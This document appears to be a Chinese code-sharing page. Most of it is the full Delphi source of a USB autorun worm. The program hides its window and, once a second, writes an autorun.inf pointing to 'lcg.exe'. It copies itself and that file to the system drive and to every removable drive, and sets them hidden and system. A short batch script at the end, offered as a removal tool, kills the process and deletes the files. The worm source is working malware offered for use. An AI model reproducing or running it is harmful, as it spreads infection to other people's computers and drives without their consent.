1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | program Project1; {$APPTYPE CONSOLE} uses windows, Tlhelp32, SysUtils; //===========================获得系统目录======================================= function GetWinDir: string ; var Buf: array [ 0.. MAX_PATH] of char ; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)] <> '\' then Result := Result + ' \'; end ; //================================end=========================================== //=======================复制文件========begin================================== procedure copyfilecopyfile; var s,s1,s2,s3: string ; i: char ; inf:textfile; begin //========================创建autorun.inf文件=================================== begin s:=ExpandFileName(ParamStr( 0 )); //获取本程序的完整路径 s1:=ExtractFileDir(ParamStr( 0 ))+ '\autorun.inf' ; FileSetAttr(s, 0 ); FileSetAttr(s1, 0 ); assignfile(inf, 'Autorun.inf' ); rewrite(inf); writeln (inf, '[AutoRun]' ); writeln (inf, '' ); writeln (inf, 'open=lcg.exe' ); writeln (inf, 'shell\open=打开(&O)' ); writeLn (inf, 'shell\open\Command=lcg.exe' ); writeln (inf, 'shell\open\Default=1' ); writeln (inf, 'shell\explore=资源管理器(&X)' ); writeln (inf, 'shell\explore\Command=lcg.EXE' ); closefile(inf); end ; //=====================================end====================================== //=============================将文件复制到系统盘符下=========================== s2:=copy(getwindir, 1 , 1 ); s3:= pchar (s2+ ':\autorun.inf' ); s2:= pchar (s2+ ':\lcg.exe' ); copyfile( pchar (s), pchar (s2), false ); copyfile( pchar (s1), pchar (s3), false ); FileSetAttr(s2, 7 ); FileSetAttr(s3, 7 ); //==================================end========================================= //=============================将文件复制到可移动磁盘=========================== for i:= 'C' to 'Z' do if GETDRIVETYPE ( PChar (i+':\'))=DRIVE_REMOVABLE then begin s2:=i; s3:= pchar (i+ ':\autorun.inf' ); s2:= pchar (s2+ ':\lcg.exe' ); copyfile( pchar (s), pchar (s2), false ); copyfile( pchar (s1), pchar (s3), false ); FileSetAttr(s2, 7 ); FileSetAttr(s3, 7 ); end ; //================================end=========================================== end ; var win: longint ; msg: Tmsg; begin win := getforegroundwindow; //获取当前窗体的句柄 showwindow(win, SW_HIDE); //隐藏窗体 SetTimer( 0 , 10 , 1000 , @copyfilecopyfile); //定时间器,一秒钟扫描一次 //WinexEc(pchar('copybat.bat'), SW_Hide); //这里是隐藏控制台 while GetMessage(msg, 0 , 0 , 0 ) do DispatchMessage(msg); KillTimer( 0 , 10 ); end . |
删除病毒的批处理:
1 2 3 4 | @echo off taskkill /f /im lcg . exe cd\ for /d %%i in (C,d,,e,f,g,h,I,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do attrib -s -a -r -h %%i:\autorun . inf&attrib -s -a -r -h %%i:\lcg . exe& del %%i:\lcg . exe&del %%i:\autorun . inf |